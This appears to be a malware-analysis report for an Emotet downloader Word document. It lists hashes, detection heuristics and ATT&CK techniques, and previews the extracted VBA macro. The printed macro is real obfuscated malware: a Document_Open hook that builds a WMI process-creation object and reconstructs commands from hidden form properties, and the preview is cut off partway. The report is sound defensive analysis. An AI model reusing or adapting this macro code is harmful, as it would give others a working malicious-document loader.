Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 78933fecf248691a…

MALICIOUS

Office (OLE)

228.8 KB Created: 2020-08-14 07:32:00 Authoring application: Microsoft Office Word First seen: 2020-09-07
MD5: 8faa7231d1cab1dba184ed6f74ddbdc9 SHA-1: 3bb6283c3209bc181cf7601aba3a7e9dc7c4e945 SHA-256: 78933fecf248691aab0f40469c0dcd29e03ea9922aaf89b7cdc830b802cfa8a9
262 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

The sample contains VBA macros, including a Document_Open macro and a hidden UserForm command stager, which are indicative of Emotet malware. The ClamAV detection explicitly names 'Doc.Downloader.Emotet-9317583-0', confirming the family. The VBA code likely attempts to download and execute a secondary payload.

Heuristics 7

  • ClamAV: Doc.Downloader.Emotet-9317583-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-9317583-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 8060 bytes
SHA-256: 871c644c0c1ab6b965591b6bf1b3877f96dc46d2d0252d4174a364fe3c8d730d
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Uvzr9pd7ri34apx"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
T3zvdukcijirw.K4rmyif2lab2vau
End Sub


Attribute VB_Name = "T3zvdukcijirw"
Attribute VB_Base = "0{510666A7-5DE0-463B-8EEC-5775E644D688}{0B8BFDA2-B075-4134-8488-71147F116515}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function K4rmyif2lab2vau()
   V8cssgca3yolx25 = 4
Do While V8cssgca3yolx25 < 4 + 3
gIMkDeCUuR = "teboqscFfl"
xHXDVHDKTS = 486219
gIMkDeCUuR = gIMkDeCUuR & CStr(xHXDVHDKTS)
HspHPvHBdw = gIMkDeCUuR
V8cssgca3yolx25 = V8cssgca3yolx25 + 8: DoEvents
Loop
E0xyk78tponggi1l = T3zvdukcijirw.HelpContextId + 100
   V8cssgca3yolx25 = 4
Do While V8cssgca3yolx25 < 4 + 3
gIMkDeCUuR = "teboqscFfl"
xHXDVHDKTS = 486219
gIMkDeCUuR = gIMkDeCUuR & CStr(xHXDVHDKTS)
HspHPvHBdw = gIMkDeCUuR
V8cssgca3yolx25 = V8cssgca3yolx25 + 8: DoEvents
Loop
Ci7i4wp0mo6qm8 = ChrW(E0xyk78tponggi1l + (100 + 35) / 9)
   V8cssgca3yolx25 = 4
Do While V8cssgca3yolx25 < 4 + 3
gIMkDeCUuR = "teboqscFfl"
xHXDVHDKTS = 486219
gIMkDeCUuR = gIMkDeCUuR & CStr(xHXDVHDKTS)
HspHPvHBdw = gIMkDeCUuR
V8cssgca3yolx25 = V8cssgca3yolx25 + 8: DoEvents
Loop
Qu6puapacuk32m0_lm = "72[snn h7&&2137gb]nJG[ 81sdasd2v72[snn h7&&2137gb]nJG[ 81sdasd2vw72[snn h7&&2137gb]nJG[ 81sdasd2vi72[snn h7&&2137gb]nJG[ 81sdasd2vnm72[snn h7&&2137gb]nJG[ 81sdasd2v72[snn h7&&2137gb]nJG[ 81sdasd2vgm72[snn h7&&2137gb]nJG[ 81sdasd2vt72[snn h7&&2137gb]nJG[ 81sdasd2v72[snn h7&&2137gb]nJG[ 81sdasd2v" + Ci7i4wp0mo6qm8 + "72[snn h7&&2137gb]nJG[ 81sdasd2v72[snn h7&&2137gb]nJG[ 81sdasd2v:72[snn h7&&2137gb]nJG[ 81sdasd2vw72[snn h7&&2137gb]nJG[ 81sdasd2vin72[snn h7&&2137gb]nJG[ 81sdasd2v72[snn h7&&2137gb]nJG[ 81sdasd2v372[snn h7&&2137gb]nJG[ 81sdasd2v272[snn h7&&2137gb]nJG[ 81sdasd2v_72[snn h7&&2137gb]nJG[ 81sdasd2v" + T3zvdukcijirw.Lq3mzi831oadbcr4w + "72[snn h7&&2137gb]nJG[ 81sdasd2vro72[snn h7&&2137gb]nJG[ 81sdasd2v72[snn h7&&2137gb]nJG[ 81sdasd2vce72[snn h7&&2137gb]nJG[ 81sdasd2vs72[snn h7&&2137gb]nJG[ 81sdasd2vs72[snn h7&&2137gb]nJG[ 81sdasd2v"
   V8cssgca3yolx25 = 4
Do While V8cssgca3yolx25 < 4 + 3
gIMkDeCUuR = "teboqscFfl"
xHXDVHDKTS = 486219
gIMkDeCUuR = gIMkDeCUuR & CStr(xHXDVHDKTS)
HspHPvHBdw = gIMkDeCUuR
V8cssgca3yolx25 = V8cssgca3yolx25 + 8: DoEvents
Loop
Z6ivyq9sfxwvwpf = Ki59vldznce0i7(Qu6puapacuk32m0_lm)
   V8cssgca3yolx25 = 4
Do While V8cssgca3yolx25 < 4 + 3
gIMkDeCUuR = "teboqscFfl"
xHXDVHDKTS = 486219
gIMkDeCUuR = gIMkDeCUuR & CStr(xHXDVHDKTS)
HspHPvHBdw = gIMkDeCUuR
V8cssgca3yolx25 = V8cssgca3yolx25 + 8: DoEvents
Loop
Set Lca09fzg6ofs7ueup = CreateObject(Z6ivyq9sfxwvwpf)
   V8cssgca3yolx25 = 4
Do While V8cssgca3yolx25 < 4 + 3
gIMkDeCUuR = "teboqscFfl"
xHXDVHDKTS = 486219
gIMkDeCUuR = gIMkDeCUuR & CStr(xHXDVHDKTS)
HspHPvHBdw = gIMkDeCUuR
V8cssgca3yolx25 = V8cssgca3yolx25 + 8: DoEvents
Loop
O5idktjoar3inieuz_ = T3zvdukcijirw.Ntxhqa6w6rqjtc1.ControlTipText
   V8cssgca3yolx25 = 4
Do While V8cssgca3yolx25 < 4 + 3
gIMkDeCUuR = "teboqscFfl"
xHXDVHDKTS = 486219
gIMkDeCUuR = gIMkDeCUuR & CStr(xHXDVHDKTS)
HspHPvHBdw = gIMkDeCUuR
V8cssgca3yolx25 = V8cssgca3yolx25 + 8: DoEvents
Loop
Ewju69k8suy73 = Yh381261y7a + (Z6ivyq9sfxwvwpf + Ci7i4wp0mo6qm8 + T3zvdukcijirw.Pw9bvf4qj4d.ControlTipText + O5idktjoar3inieuz_)
   V8cssgca3yolx25 = 4
Do While V8cssgca3yolx25 < 4 + 3
gIMkDeCUuR = "teboqscFfl"
xHXDVHDKTS = 486219
gIMkDeCUuR = gIMkDeCUuR & CStr(xHXDVHDKTS)
HspHPvHBdw = gIMkDeCUuR
V8cssgca3yolx25 = V8cssgca3yolx25 + 8: DoEvents
Loop
Mpom76mk7vnukv8 = Ewju69k8suy73 + T3zvdukcijirw.Lq3mzi831oadbcr4w
   V8cssgca3yolx25 = 4
Do While V8cssgca3yolx25 < 4 + 3
gIMkDeCUuR = "teboqscFfl"
xHXDVHDKTS = 486219
gIMkDeCUuR = gIMkDeCUuR & CStr(xHXDVHDKTS)
HspHPvHBdw
... (truncated)